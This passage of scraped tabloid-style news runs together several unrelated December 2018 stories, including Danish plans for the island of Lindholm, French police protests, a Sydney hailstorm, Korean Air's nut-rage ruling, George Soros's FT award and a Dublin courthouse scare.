putting it among the five hottest years ever. It is close to the record-breaking 2016, when temperatures were 1.15C above the 1850-1900 period. The Met Office said the highs are the result of climate change caused by greenhouse gases. This summer was the UK's joint hottest on record, with the year's average temperatures about 0.96C above pre-industrial levels. Advertisement Dunkeswell Aerodrome in Somerset experienced 27mm (1.1in) of rain in 24 hours when the area was under a Met Office warning on Wednesday - nearly a quarter of its expected monthly average of 121mm (4.8in). Today will be mostly cloudy with scattered showers in the West, but these may merge to form longer spells of rain in the North West this afternoon. Later on this evening, there will be clear spells and showers for central, northern and eastern areas, but more widespread rain in the South West. Through the night, the rain will spread north-east across much of England and Wales, and also reaching Northern Ireland by dawn. Tomorrow there will be rain for many parts in the early morning, some of which will be heavy. It will then become dry and bright in the south for a time. In the afternoon, it will turn mostly cloudy once more with showers affecting central and northern areas. Saturday will be mostly dry with sunny spells, although there will be more cloud with a few light showers in the North West. Then Sunday is expected to be grey and overcast with outbreaks of rain for most - and the rain will become showery in the north in the afternoon. The Danish parliament approved funding on Thursday for a plan to hold foreign criminals on a tiny island, despite criticism from the United Nations and local opposition. With Denmark taking an increasingly tough stance on immigration, the government wants to send up to 100 people who have completed jail sentences but cannot be deported because they are at risk of torture or execution in their home countries, to the island of Lindholm. Funding for the scheme was included in the 2019 Danish budget, which lawmakers voted through on Thursday. Finance Minister Kristian Jensen, from centre-right party Venstre, said criminals will be housed on Lindholm (pictured), a 17-acre island, approximately one and a half miles from the Danish mainland A centre for the people, who have been convicted of crimes ranging from murder and rape to less serious offences, is set to be established in 2021 and will cost 759 million crowns (approximately 100 million). Lindholm is used as a laboratory and crematorium by scientists researching swine flu, rabies and other contagious diseases. One ferry serving the three hectare (seven acre) island southwest of Copenhagen is named 'Virus'. The plan has aroused opposition in the municipality of Vordingborg, of which Lindholm is part. 'People think this is not the solution to the real problems,' Vordingborg mayor Mikael Smed said before the vote. U.N. human rights chief Michelle Bachelet expressed serious concerns about the idea on Wednesday. A majority of foreign criminals whose deportation sentences cannot be carried out are now detained at a centre in Jutland, in western Denmark. Residents there say they feel unsafe, although police report that crime has not risen in the area in recent years. Now residents of Kalvehave, where the ferry to Lindholm departs, fear for the future of their town which depends on tourism. Uffe Elbaek, from the environmentalist Alternative party, criticised the new policy, he said: 'The green government I want to lead would never force people on to a deserted island,' 'Inhuman politics are creating a completely different Denmark to the Denmark I love' 'This won't benefit the area and it won't attract more tourists. Quite the opposite,' said Klaus, 47, owner of a hotdog stand in the town which is home to 632 people. Under the plan, the criminals can leave the island during the day but will have to report their whereabouts to authorities and return at night. Denmark has struggled for decades with how to integrate immigrants, the overwhelming majority of whom are law abiding, into its welfare state. Public debate intensified in 2015 with the arrival of large groups of asylum seekers from conflicts in the Middle East and elsewhere. Advertisement French police will be given pay rises after their so-called Blue Vest protests followed the Yellow Vest anti-government movement. The accord was announced by unions last night, after two days of talks with President Emmanuel Macron's government and a strike which saw police stations close down except for emergency duties. Police have complained of exhausting hours of patrols and chronic under-investment in equipment which have stretched departments to breaking point. A group of police officers organized plans on social networks for a Thursday night demonstration in front of a station on Paris' Champs-Elysees Avenue. At that spot, police and gendarmes have confronted protesters with tear gas, water cannons and armored vehicles on multiple Saturdays since last month. About 80 people wearing police arm bands, some emergency workers and others gathered for the peaceful demonstration to show they are still angry. Some sported yellow vests in solidarity with the anti-government protesters. Riot police officers block police officers as they take part in a rally to protest their working condition at the Champs-Elysees avenue in Paris A French police officer holds a flare as they protest against their working conditions on the Champs Elysees in Paris A French police officer holds a flare as part of the 'GyroBleus' movement (a pun with the Gilets Jaunes - Yellow Vests' movement) 'We don't have the means to be everywhere at the same time ... We have to make a choice and that's not normal,' Guillaume Lebeau, vice president of a group called Mobilization of Angry Police, said. Last month an officer who led an 'angry police movement', which emerged after the 2016 firebombing of a squad car with two officers inside, was found dead at her home in a suspected suicide. Unions blame difficult working conditions for a suicide rate among police that is 36 percent higher than for the general population, according to a Senate report. More than 30 police officers have taken their own lives in 2018, many of them with their service revolvers. The rate is higher among gendarmes, who unlike police are part of the military. In the last known suicide, a gendarme took his life in November in the garden of the prime minister's office. The Senate report published in July on how to overcome the 'malaise' makes clear that the daily routine of a police officer can mean contending with dilapidated equipment, rundown cars, filthy stations and an out-of-touch management. bout 80-100 people protested Thursday in front of a police station near the elegant Champs-Elysees avenue, flashpoint of recent rioting A masked police officer (right) attends a demonstration near the Champs-Elysee in Paris, France on December 20 2018 Lebeau said in a video that some police wear bicycle helmets on the job because there aren't enough helmets designed for law enforcement. With protests in overdrive in France in recent years, when terror attacks have multiplied, burnout is not uncommon, aggravated by work and by living conditions for some called into major cities, the Senate report said. It noted that it is not unusual for officers brought into Paris for duty to pile up in small rooms or to sleep in their cars. Interior Minister Christophe Castaner vowed that things will change. He tweeted Thursday that equipment and buildings were part of a 'first-of-a-kind effort for our security forces.' He also acknowledged that 'unacceptable situations remain,' a reference to unpaid overtime. Talks on compensation and work hours - perhaps the toughest part - are planned for January. For many officers, the violent clashes with rioting 'yellow vest' protesters in Paris and other cities on recent Saturdays, and the huge manhunt for the gunman who attacked a Christmas market in Strasbourg last week, were the final straw. 'This agreement... paves the way for improved and upgraded working conditions and pay for officers,' Castaner said in a statement. 'Yellow Vest' protest in Portugal falls flat after few people turn out A nationwide protest in Portugal that seeks to emulate France's yellow vest movement has fallen flat, with few people turning out. Portuguese protesters are attempting to disrupt morning rush-hour traffic at various locations across the country Friday, but they are far outnumbered by police. The protest grew out of a Facebook page that aims to give voice to people angry about the state of the country. Copycats: Portuguese protesters wanting to emulate the French Yellow Vest movement were attempting to disrupt morning rush-hour traffic at various locations across the country, but were far outnumbered by police Organizers say the Portugal Yellow Vest Movement is non-violent and not aligned with any political party, though at least one fringe party was conspicuous at a demonstration in Lisbon. A manifesto includes a long list of demands, from lower taxes to higher unemployment benefits, better public health care and an end to real estate speculation. France's protest movement turned radical and violent. Advertisement Riot police officers block police officers as they take part in a rally to protest their working conditions - mainly their long hours French riot police face police officer as the police officers try to access the Interior Ministry during a protesting against chronic under-investment Union officials said that starting next year average monthly pay will be gradually boosted by 120 euros a month, and up to 150 euros a month for senior ranks. The government will also begin negotiations on the huge backlog of overtime pay, with unions saying they are owed a collective 275 million euros. With the pay hikes, the government said a planned 300-euro bonus for officers would now be reserved only for administrative employees and technicians. 'It's what we were looking for, we wanted an immediate boost to spending power,' said Yves Lefebvre of the Unite-SGP Police union after Wednesday's talks. Police were emboldened in their demands after the government announced a 10-billion-euro package of financial relief for low-income households to quell the 'yellow vest' protests which have rocked France over the past month. The measures include a rise in the minimum wage, tax relief for pensioners and tax-free overtime pay for workers. The movement aims to highlights the difficulties of the police after weeks of social tensions and years of high terrorist alerts A French police officer holds a flare as they protest against their working condition (left) while another wears a yellow vest which reads 'good-bye Macron' (right) The renewed protests come as authorities said a ninth person has been killed in the yellow vest protests when they were hit by a truck The total cost of the police pay increases was not disclosed. It comes as authorities said a ninth person has been killed in the yellow vest protests. Interior minister Christophe Castaner said the victim was a protester killed in the south-west city of Agen. Calling for calm, Castaner said: 'This must stop. Nine dead.' Politician Olivier Damaisin said the protester was hit by a truck and had been a local yellow vest movement leader. Eight others have died in incidents tied to the movement, mostly from traffic accidents linked to roadblocks. On Wednesday, passengers were hit with delays at a Paris airport after French 'Blue Vest' police protesters deliberately slowed down passport controls. Macron (pictured at a Christmas Party last night) has given French police pay rises after their so-called Blue Vest protests followed the Yellow Vest anti-government movement Demonstrators wearing yellow vests gather during a visit by French Foreign Minister Jean-Yves Le Drian in Biarritz, southwestern France on Tuesday Passengers were hit with delays at a Paris airport on Wednesday after French 'Blue Vest' police protesters deliberately slowed down passport controls The tactic saw police dragging their heels at passport check-in lines in at least one terminal of Charles de Gaulle airport in a row over unpaid overtime. The airport police prefecture said the slow-down was currently hitting only Terminal 1, and any delayed check-ins at two other terminals were due to a high number of passengers. Police were working but taking their time with 'deep checks' of passengers, the prefecture added. Beleaguered forces across the country have faced five straight weeks of Yellow Vest protest. The Paris Aeroport authority tweeted and posted on its website that 'controls at borders may be longer' and advised passengers to allow extra time. The delays came as the Alliance police union called on police officers across France to handle only emergencies amid negotiations with the Interior Ministry for compensation after weeks containing often aggressive protests by a grassroots movement. Police have also been called on for extra duty following a deadly attack last week near the Strasbourg Christmas market that has led to increased surveillance around France. French police union bosses threatened their own 'Blue Vests' if President Emmanuel Macron fails to listen to their calls for a halt to planned cuts to the police force Riot police were mobilised on the streets of Biarritz on Tuesday as the Yellow Vests took to the streets in protest of the French foreign ministers' visit to the city While Sydney copped its worst hail storm in nearly 20 years, some residents seemed to have a jolly time. Surfers at Bondi Beach were caught out in the water when the devastating storm rolled through on Thursday afternoon. With a bit of quick thinking the stranded swimmers lifted their surfboards over their heads to protect themselves from the hail. Scroll down for videos Surfers at Bondi Beach (pictured) were caught out in the water when the devastating storm rolled through on Thursday afternoon Footage showed large balls of ice plunging into the water, though a swimmer (pictured) remained in high-spirits Another resident (pictured) was caught casually walking in a local park during the storm and showed no intention of taking shelter Footage showed large chunks of ice plunging into the water, though a swimmer remained in high-spirits. 'No way... here we are in the hail,' he screamed at the top of his lungs. Another resident was caught casually walking in a local park during the storm and showed no intention of taking shelter. With a bottle in one hand he raised both his arms in joy. A couple of bumps on the head from the hail seemed to quickly change his mind and he tried to shelter himself with his arms. One person stayed well and truly out the storm and snuggled up inside their home, grabbing some hail from outside to chill their drink of whisky on the rocks. 'Yep a Whiskey on hail to celebrate this messed up Sydney weather!' the person said in a social media post. The storm on Thursday was the largest hail storm this side of 1999, The Australian reported. Back then, hail as big as 9cms in diameter battered the city and racked up $1.7 billion in insurance payouts. This time around, hailstones as big as 8cms in diameter fell. Insurance companies have yet to assess the damage in what the Insurance Council of Australia has already declared a catastrophe. One person stayed well and truly out the storm and cosied up inside their home. Though not before they left the house for a quick second to collect some ice for their whisky (pictured) The NSW State Emergency Service responded to more than 1,400 jobs within three hours of the storm hitting the area Insurance companies have yet to assess the damage in what the Insurance Council of Australia has already declared a catastrophe At least 2,700 customers were left without power in Arncliffe, Bexley and Rockdale, and 1,100 customers in Galston, Hornsby and Mount Colah without access 'What weve seen is a fairly intense storm cell creating pockets of damage in the Sydney metropolitan area and in the southwest and the north,' an SES spokesman said. Although the hailstorm lasted a short time, it was long enough to cause chaos across Sydney, the inner west and the NSW central coast. International and domestic flights at Sydney Airport were delayed or cancelled, trees were uprooted in 90km/h winds and train stations were overcrowded as at least 11 train lines were cancelled or delayed. Drivers on the M4 were stuck in delays and one lane was closed on the M2 in Sydney's north. The NSW State Emergency Service responded to more than 1,400 jobs within three hours of the storm hitting the area. At least 2,700 customers were left without power in Arncliffe, Bexley and Rockdale, and 1,100 customers in Galston, Hornsby and Mount Colah without access. The storm on Thursday was the largest hailstorm this side of 1999 Korean Air has been ordered to pay 20 million South Korean won - roughly 14,000 - to a flight attendant who was subjected to a torrent of abuse from an executive for serving her macadamia nuts in a bag instead of a porcelain bowel in 2014. Cho Hyun-ah, who was serving as Korean Air's vice president, demanded that the flight return to New York City's John F. Kennedy Airport so that the attendant could be ejected from the plane. She was later arrested for breaching air safety laws and sentenced to a year in jail, serving three months before being released. Cho Hyun-ah (pictured) may also be liable to pay 30 million won (21,000) for her verbal assaults on the attendant The 'nut-rage' episode, where Cho made two flight attendants kneel and apologize, triggered international outrage across South Korea and resulted in Cho's father dismissing the heiress from the company. In response to the outrage, the South Korean government passed legislation that increased penalties for poorly behaved passengers. The flight attendant attempted to sue both Cho and Korean Air for a sum of 400 million won (280,000), but the Seoul Western District Court ruled that Korean Air had to pay 20 million for coercing the attendant. Cho may also be liable to pay 30 million won (21,000) for her verbal assaults on the attendant. News of the court ruling arrives at an inauspicious time for the Cho family. Earlier this year, police raided the Cho family homes amid claims they used Korea Air, which they own, to smuggle goods. At the same time as the police raid in April, it was discovered that Cho's mother, Lee Myung-hee, was under investigation for allegedly abusing her staff. Cho Hyun-min (pictured) was probed by police amid claims she threw water at a business associate during a meeting This pattern of abusive behaviour in the family also extended to Cho's sister, Cho Hyun-min, who was probed by police amid claims she threw water at a business associate during a meeting. Following eight years of marriage and four years after the 'nut-rage' incident, Cho Hyun-ah's husband filed a divorce suit in Seoul that same month, requesting custody of their twin children, Yonhap news agency reported. South Korean media reports have cited anonymous tips from airline employees that the Cho family smuggled foreign goods into South Korea by disguising them as corporate assets. A Korean Air spokesman said the family is fully cooperating with the investigation. A Yemeni mother was reunited with her dying son after repeated failed attempts to get a visa to travel to the United States. Shaima Swileh wore dark glasses and appeared weary as she walked into the arrivals terminal at San Francisco airport Wednesday night. A group of supporters greeted her at the airport before she traveled to UCSF Benioff Children's Hospital Oakland, California to be with her two-year-old Abdullah Hassan. Scroll down for video Yemeni national Shaima Swileh (left) was finally reunited with her dying son Abdullah Hassan (right) after repeated failed attempts to get a visa allowing her to travel to the US Abdullah's father Ali (left) had issued several heartfelt pleas allowing Shaima to travel to the US The boy and his father, Ali Hassan, 22 are American citizens, but Swileh lives in Egypt and because she is Yemeni, she is restricted from traveling to the United States under the White House travel ban. Abdullah has been suffering from a genetic brain condition. His father flew him to the US for treatment on October 1 and it was the last time his mother saw him. But Swileh had been unable to join him due to Trump's order barring visitors from six countries including Yemen. After a tearful televised plea from the boy's father prompted public outrage, the US embassy in Cairo issued a visa for Swileh, who has been living temporarily in Egypt. Speaking after being reunited with his wife, Ali Hassan said: 'This is a difficult time for our family but we are blessed to be together. 'The Muslim ban has hurt Yemen American families and needs to end. Thank you'. Shaima Swileh (left) walks through the terminal of the airport in Munich, Germany, Wednesday, on December 19 before boarding an aircraft to the US Shaima sands with her husband Ali Hassan (second from left) after she arrived at San Francisco International Airport on Wednesday night 'This process shows that this is a Muslim ban and that this waiver is a sham,'said Basim Elkarr, of the Council on American Islamic Relations-Sacramento Valley during an airport news conference after Swileh's arrival. Hassan said he had been ready to take his son off life support last week after doctors said the case was terminal, with his wife only receiving automated replies when inquiring with US authorities on her visa application. But on Tuesday Swileh was called to the US Embassy in Cairo, where she was given a presidential proclamation waiver and a visa allowing her to travel to San Francisco. Abdullah is dying from a rare brain condition called hypomyelination Banan Al-Akhras, of Nimer Law, said during a news conference said: 'The fact that they ultimately approved her shows that there was no issue with her case to begin with and that she should've been approved months ago'. Abdullah's grandfather earlier told the San Francisco Chronicle that Swileh was crying every day as she wanted to see her son 'one last time'. 'To hold him for at least a minute. She's not going to see him forever,' he said. Swileh will now travel to the United States on an I-130 visa, which permits entry to close relatives of American citizens. Doctors told Hassan that patients such as his son are usually on life support for two or three weeks at the most. Abdullah has been on a ventilator for more than a month. It is hoped his mother will now be able to spend previous final moments with him before he passes away. Jennifer Nimer, one of the familys attorneys, told the San Francisco Chronicle that the Council on American-Islamic Relations has filed a lawsuit in federal court. Ali Hassan (second from left) and Banan Al-Akhras of Nimer Law (right) say there was no justification for preventing Shaima from travelling when she initially applied for a visa A group of supporters holding signs saying 'No Muslim ban' greeted Shaima at the airport It accuses the embassy in Cairo of ignoring more than 28 'desperate pleas' from the family to expedite requests for Swilehs visa. The pleas included medical documents confirming the boys worsening condition, she said. President Trump banned people entering the US from majority-Muslim countries days after taking office in January 2017. It forbids travel to the United States by citizens of Iran, Libya, Somalia, Syria and Yemen. The State Department said it could not comment in the media on individual cases. George Soros, seen at the World Economic Forum in Davos on January 25, was described by the FT as a bulwark against rising nationalism and populism George Soros has been named the Financial Times Person of the Year for being the 'standard bearer for liberal democracy as it comes under siege from Putin's Russia and Trump's America'. The London-based newspaper said it was honouring the billionaire financier not for his achievements but for 'the values he represents' in the face of rising 'nationalism and populism'. Mr Soros, a major sponsor of the US Democratic Party, is a champion of global liberal causes and has poured thousands into a campaign against Brexit, earning him a controversial status in right-wing circles. 'I'm blamed for everything, including being the anti-Christ,' Mr. Soros, 88, told the FT during an interview last week in Marrakesh, Morocco. I wish I didn't have so many enemies, but I take it as an indication that I must be doing something right.' Right-wing commentators slated the FT for its decision, with US journalist and TV presenter Bill O'Reilly saying the move was 'completely insane' and 'reflects the worst of the media'. Raheem Kassam, a former adviser to Nigel Farage when he was leader of the UK Independence Party, branded the award 'risible'. Soros, who survived Nazi occupied Hungary as a teenager, was praised by the FT for promoting a 'liberal vision of the world' in the face of anti-Semitic conspiracy theories and threats of violence. The Jewish businessman was one of the first of more than a dozen leading Democrats to be mailed pipe bombs by a Florida-based Trump supporter in October. The president has regularly aired conspiracy theories about Soros, including that he funded the caravan of Central American migrants that have been trying to enter the US. 'I have been painted as the devil,' he said. 'The fact that extremists are motivated by false conspiracy theories about me to kill hurts me tremendously.' He has also generated anger among Brexiteers for helping to fund the controversial Best of Britain group, which is fighting for a second EU referendum. His fortune now stands at $8billion (6.3billion) - a total depleted by an $18bn (14.2bn) donation to his philanthropic organisation, the Open Society Foundation. Soros has long been a Democratic supporter and an ally of Hillary Clinton, who he is seen meeting in Washington, DC, on June 3, 2004 Mr Soros was born in Budapest on August 12, 1930, and by the Nazi invasion in 1944 was living a life of middle-class comfort with his father Tivadar, mother Elizabeth, and brother Paul in an idyllic home on Lupa Island in the Danube. To escape the Gestapo death squads, the young Mr Soros was given the name Kiss Sandor, along with a set of Christian papers. He was then taken in by a man called Baumbach, also known as Baufluss, whom Tivadar paid to protect his son. Baumbach was an official at the Ministry of Agriculture who had worked with Soros' father. He was also a Nazi collaborator, and sometimes took the young boy on visitors to write up lists of confiscated property. This experience, which Soros had no control over, would later lead to inaccurate claims by Vladimir Putin and others that he chose to help the Nazis. Soros managed to survive the rest of the occupation, which cost the lives of 500,000 Hungarian Jews. Aged 17, Soros fled to London and worked as a porter and waiter before enrolling in the London School of Economics. He moved to America and became a naturalised citizen in 1956, spending time as a trader before setting up his own hedge fund, Soros Fund Management, in 1969. A ruthless speculator, in 1992 he became known as 'The Man Who Broke The Bank Of England' after he shorted the pound to send Britain crashing out of the ERM. The move earned him a billion dollars in a day. Some of Soros' earliest political work was helping pro-democracy groups in the Soviet Union, an action that has gained him the hatred of Putin, who pines for the former USSR. A key landmark in his political career was the establishment of the Open Society Foundation in 1984. This has invested money in a wide variety of causes including migration, drugs policy, and the Rohingya crisis in Myanmar. He has also inserted himself into the polarised world of US politics, earning the ire of Trump by becoming one of the largest donors to Hillary Clinton's 2016 US presidential campaign. Among the many slurs issued by the president was that Soros funded protesters to disrupt Brett Kavanaghs Supreme Court confirmation hearing on October 5. Donald Trump (seen in the White House on December 18) has regularly aired conspiracy theories about Soros 'The very rude elevator screamers are paid professionals only looking to make Senators look bad,' he tweeted. 'Dont fall for it! Also, look at all of the professionally made identical signs. Paid for by Soros and others. These are not signs made in the basement from love! #Troublemakers ' Later that month, Trump upped the ante by venting a conspiracy theory that Mr Soros was funding the caravan of Honduran migrants to travel to the US border - an issue that became a touch-stone topic during the Midterm Elections. Asked if he thought the theory could be true, Mr Trump told DailyMail.com: 'I wouldnt be surprised. I wouldnt be surprised. I dont know who, but I wouldnt be surprised.' The Saturday before, a gunman had shot up a synagogue in Pittsburgh, killing 11 worshippers. He didn't agree with the president's policies, but his online activity showed him spreading anti-Semitic conspiracy theories about Soros and the caravan. That same month, Soros was among a dozen Democrats to receive a mailed pipe bomb sent by a Trump supporter, an incident that convinced his son, Alexander, to accuse the president of encouraging violence. Alexander called the incidents a 'threat to the future of American democracy' as he hit out at the president in a New York Times op-ed titled 'The Hate That Is Consuming Us'. He argued that while his father has long faced anti-Semitism, 'something changed in 2016'. 'Before that, the vitriol he faced was largely confided to the extremist fringes, among white supremacists and nationalists who sought to undermine the very foundations of democracy,' he wrote. Yet Soros Snr appears unfazed by the president's popularity, telling the FT that he would be a passing phenomenon. He has refused to endorse any candidates for the 2020 Democratic primaries for president and plans to back whoever emerges as the party's candidate against Trump. Soros has also been a vocal critic of Facebook, which he called a 'menace' to society due to its influence on elections during a speech at Davos in January. In November, he was accused of shorting Facebook stock by unloading millions of dollars worth of shares in the company just before its stock nosedived - saving himself $17.7million in the process. Last month, the social media giant admitted hiring a PR agency to oversee a smear campaign against the financier, with the company claiming it wanted to see if there was a 'financial motivation' behind his attacks. Other Soros targets include Brexiteers, Facebook and Hungarian Prime Minister Victor Orban. He is seen speaking in Brussels in June 1, 2017 The fallout implicated Facebook's chief operating officer, Cheryl Sandberg, who was forced to admit being involved in the smear campaign despite previously denying this. Soros has also faced controversy in the UK by ploughing at least 700,000 into Best for Britain, which wants MPs to vote down Theresa May's deal and stop Brexit. The news of his involvement riled anti-EU campaigners, including former Cabinet minister Owen Paterson, who accused Soros of a 'disgusting' intervention to undermine a popular vote. Elsewhere, Soros has funded pro-democracy groups in Hungary, where individual rights and freedom of expression have come under strain from the authoritarian regime of Prime Minister Victor Orban. This week, the premier accused Orban of funding a 2,000-strong protest at the state television building to demand independent public media and courts, a claim which Soros denied. Last year, Hungary launched a billboard campaign to discredit Soros, with posters showing him smiling against the caption 'Don't let Soros have the last laugh. Soros' spokesman said the move harked back to 'Europe's darkest hours', while some of the posters were defaced with graffiti reading 'stinking Jew'. A family court house in Dublin has been evacuated after a man burst into a hearing allegedly involving his ex-wife claiming he had a gun and an explosive device. Gardai were called to the Family Law Courts in Smithfield this morning at around 11.30am with reports of a man with an explosive device around his neck. It was reported that the suspect walked into a court room where a judge was sitting in a family law matter and held up an object which he claimed was a gun. It was later discovered this was an imitation firearm, but a potential explosive device remains under review. Soldiers from the bomb disposal unit were called to the scene after a suspected explosive device was reported this morning Police cars in Dublin were mobilised after a man was reported to have walked into a family court in central Dublin brandishing an object which he claimed was a firearm The male has been arrested and is being held at Bridewell Garda Station, the Irish Independent reported. A grey-haired man was seen being hauled from the court in handcuffs by armed officers, according to witnesses. This image shows a grey-haired man being removed from the court house in Smithfield this morning According to the Irish Times, the suspect surrendered as soon as the Gardai arrived and they believe that the device hanging around his neck was a hoax. People were said to be 'very shaken' by the experience, including the sitting judge, barristers and a woman said to be the man's ex-partner or ex-wife. Sources told the Times that the the middle-aged man may be involved in the business world and have grievances with the courts. Bomb disposal experts from the army rushed to the court house as members of the public were evacuated. The The Irish Army's Explosive Ordnance Disposal (EOD) team are examining the suspected explosive device. Officers ran over from the nearby Children's Court to help with the situation. The Gardai have suspended the Luas Red Line; the Dublin tram network which runs close to where the court house is located. Police locked down the Luas Red Line, the tram line which runs close to the court house in Smithfield Army soliders with automatic weapons can be seen on the pavement alongside police by the tram line Crowds of office workers and barristers dressed in court attire were gathered at the security cordon as the operation continued throughout lunchtime. The area is also popular with tourists, as it is close to the famous Jameson whiskey distillery and a number of hotels and youth hostels. Dozens of Gardai remained at the scene, alongside army soldiers who enforced a wide reaching cordon. A young boy's family is demanding answers after the five-year-old was left unattended on an empty special transit bus in Tennessee on Friday. Uneisha Bradford's son had been headed to aftercare on a Special Transit Services bus in Chattanooga when he fell asleep on the bus. Footage from inside the vehicle shows children exiting the bus as it arrives at the Chambliss Center for Children. In the clip, the young child appears to be sleep in the row just behind the bus driver. Uneisha Bradford's son had been headed to aftercare on a Special Transit Services bus in Chattanooga when he fell asleep on the bus on Friday. He was left alone on the bus as a result The driver of the bus was supposed to do a walk-through of the bus after the children disembarked but failed to do so, center director Philip A. Acord explained to WTVC-TV. 'Our teachers are supposed to walk through... She looked under the seat and said she looked for legs and book bags and didn't see anything,' Acord added. 'When the driver gets back to the STS [Special Transit Services lot] and she parks her bus, she's supposed to get up and go back again.' Southeast Tennessee Human Resource Agency Executive Director Nancy Sutherland, explained to News Channel 9 that their driver is suppose to do a 'sweep' of the bus. SETHRA operates the bus company. Bradford's son woke up soon after the driver walked away from the bus and spent 10 minutes trying to figure out how to exit the bus Eventually he was able to and wandered in the parking lot until he was found by strangers She added: 'It would entail that driver getting off the bus, getting back on the bus, walking down the walk-way and making sure there's nothing left.' The bus has a capacity of eight to 10 children but Bradford's son was the only one who was left on the bus. Bradford's son woke up soon after the driver walked away from the bus. For approximately 10 minutes, the little boy could be seen crying as he tried to figure out how to open the door. Eventually he is able to get the door open and wanders off to the parking lot until he is helped by a stranger. 'What if those people weren't out there?' the boy's distraught mother asked. 'Anybody could've got him.' 'What if those people weren't out there?' the boy's distraught mother asked. 'Anybody could've got him' Both the driver and an employee with the Chambliss Center for Children have been suspended Bradford is irate about the entire ordeal and asserted that she wouldn't be using that service anymore. 'He's not getting back on the bus,' she said. Both the Chambliss employee and the STS bus driver have been suspended. Chambliss has also asked that the driver - who has been with the company since 2016 - be assigned to a different route. Chambliss also added that it will require bus monitors to go through another round of training in efforts to make sure nothing like that happens again. Sacha Baron Cohen has said his controversial Showtime series Who Is America? will not return for a second season. The comedian confirmed the seven part show would not be back after the first saw him and the network landed with a $95million defamation suit. When asked by The Hollywood Reporter if Who Is America? would return Baron Cohen said: 'No. I will never be able to get a politician to bare his buttocks while screaming 'God bless America!' and screaming the N-word.' Georgia state representative, Republican Jason Spencer, flashed his bum, shouted racial slurs and yelled 'America' while appearing on the show. He announced his resignation shortly after. Baron Cohen, 47, compared the show to his break out role as Ali G in the UK where he only made one season and added: 'The idea is not to make it a Seinfeld or an SNL. It is grueling. I'm too lazy to do this.' The show has been marred with controversy after tricking prominent public figures into appearing alongside Baron Cohen. Scroll down for video Sacha Baron Cohen said his series Who Is America? will not return for a second season Cohen, above right, was able to convince former Vice President Dick Cheney, above left, into signing a 'waterboard kit' Sacha Baron Cohen, pictured right, is being sued for defamation by Roy Moore, pictured left, over his controversial appearance on the show Roy Moore filed a $95million defamation suit in Washington DC in September and Alaska politician Sarah Palin, 54, labeled Cohen 'sick' and 'evil' after they were duped. Who Is America? saw prankster Cohen tricking unsuspecting interview subjects into saying and doing embarrassing things. It proved a ratings winner with an additional 1.8million viewers after a week of delayed viewing in July. During episode one, Cohen was able to convince former Vice President Dick Cheney into signing a 'waterboard kit'. Former Chief Justice of Alabama Moore originally filed a claim on September 5 for 'Defamation, Intentional Infliction of Emotional Distress and Fraud' regarding his July 29 appearance. In the show segment, Moore, 71, appears in a prank where a 'sex offender detector' only beeps when placed over the judge but not on the interviewer, played by Cohen. Moore had previously been accused of sex offenses against minors before his interview with the made-up Israeli Mossad operative character of Erran Morad. Prankster Cohen, pictured here with former Vice President Dick Cheney, tricked unsuspecting interview subjects into saying and doing embarrassing things Baron Cohen was a surprise Golden Globes nominee for his provocative network show which embarrassed US politicians by duping them with a fake persona The show proved a ratings winner but will not be returning according to Cohen Sarah Palin's segment was cut from the show after she argued Cohen presented himself as disabled. She said: 'They all lied about their names, their backgrounds and their contact information. This same team separated me from my daughter and my phone for this 'interview'.' Cohen recently invited Palin to be his guest to the Golden Globes on January 6, after he was nominated for Best Actor In A TV Series, Comedy. Network Showtime declined comment about the future of Who Is America? when asked by The Hollywood Reporter. Nick Boles has been threatened with deselection after he vowed to quit the Tory party if Theresa May presses ahead with a no deal Brexit. The Tory MP for Grantham and Stamford warned he would vote 'in any way necessary' to stop Britain crashing out without a deal. But his remarks have sparked a furious row with the chairman of his local Conservative Association Philip Sagar and party members. Mr Sagar accused Mr Boles of being unpatriotic and said he has been flooded with calls for him to be deselected for the controversial remark. And he warned it would be committing 'political suicide' if Mr Boles joined leading Tory Remainers like Anna Soubry in doing whatever it takes to stop a no deal. The extraordinary row highlights the bitter Tory civil war which continues to rage over Brexit as MPs break up for the Christmas break today. Nick Boles (pictured in the Commons earlier this year) has been threatened with deselection after he vowed to quit the Tory party if Theresa May presses ahead with a no deal Brexit Nick Boles stuck to his position despite the massive backlash it has triggered among his local party members In a letter to local party members, Mr Sagar blasted: 'For Nick to fall in line now with the likes of Anna Soubry and threaten (but not in so many words) to potentially bring down the government is not in my view patriotic but is sadly only an act of personal political suicide if indeed he were to actually go ahead and do it and I am sorry that he felt the need to make this threat at all it is not helpful to the debate.' But despite the lashing, Mr Boles dug in and repeated his threat. He said on Twitter: 'I do not relish being accused of a lack of patriotism by the chairman of my Conservative association. 'But I will not be deterred from doing my duty.' Mr Boles has been plotting with Labour MPs to push for a Norway-style Brexit deal, which would keep free movement and mean Britain would have to swallow EU rules while having no say in what they are. On Tuesday Cabinet ministers approved plans to ramp up no deal Brexit preparations - pouring an extra 2billion into them. It comes amid mounting fears Britain is hurtling towards a no deal Brexit as squabbling MPs remain at war over the crunch talks. While some minsters used the meeting at Number Ten to call for a managed no deal Brexit. Amber Rudd (pictured left last night on Peston) has triggered a new split in the Cabinet by hinting at support for a second referendum on Brexit - while Andrea Leadsom (right today in Westminster) said that would be 'unacceptable' and endorsed a 'managed no deal' Theresa May (pictured in Downing Street today) warned her warring ministers that her deal was the only Brexit plan available today But Mr Boles blasted the calls branding them a 'dangerous myth'. He added: 'No Conservative should trifle with the livelihoods and security of the British people in the way that advocates of a 'managed no deal' Brexit seem willing to do.' The furious row comes as Theresa May today scrambled to try and force her warring ministers back into line after fresh splits erupted last night. Work and Pensions Secretary Amber Rudd said she could 'see the argument' for a new referendum if Parliament votes down the deal. But Commons Leader Andrea Leadsom hit back to say a new was 'unacceptable' - but then backed another alternative to the PM's deal, a so-called 'managed no deal'. And the PM's official spokesman also slapped down Ms Rudd - pointing out she had backed the deal. Asked if a second referendum was plausible if Parliament remains gridlocked, the spokesman said: 'No. 'The Work and Pensions Secretary has been clear on three things: the priority is to get the vote through Parliament, she does not want a people's vote or a referendum, and she has asked all colleagues to support the Government's deal. 'As you know the Prime Minister has been very clear on the dangers of calling a second referendum. She is focused on winning the vote on the deal that has been agreed.' The 21-year-old boyfriend of a mother facing child abuse charges after her 8-month-old baby girl was allegedly shot in the face by her 3-year-old brother, was arrested two months ago for firing a gun while in a vehicle with the family. Court records show the December 8 shooting in a New Mexico motel room wasn't the first time police linked Tyrell Bitsilly to a shooting involving Shayanne Nelson, 18, and her two children. The woman's sister Shanna Nelson, 39, said she vowed to get a restraining order against Bitsilly after the dangerous October incident and which led to Gallup police arresting and charging him on various counts. A witness told police he saw 21-year-old Tyrell Bitsilly wipe the 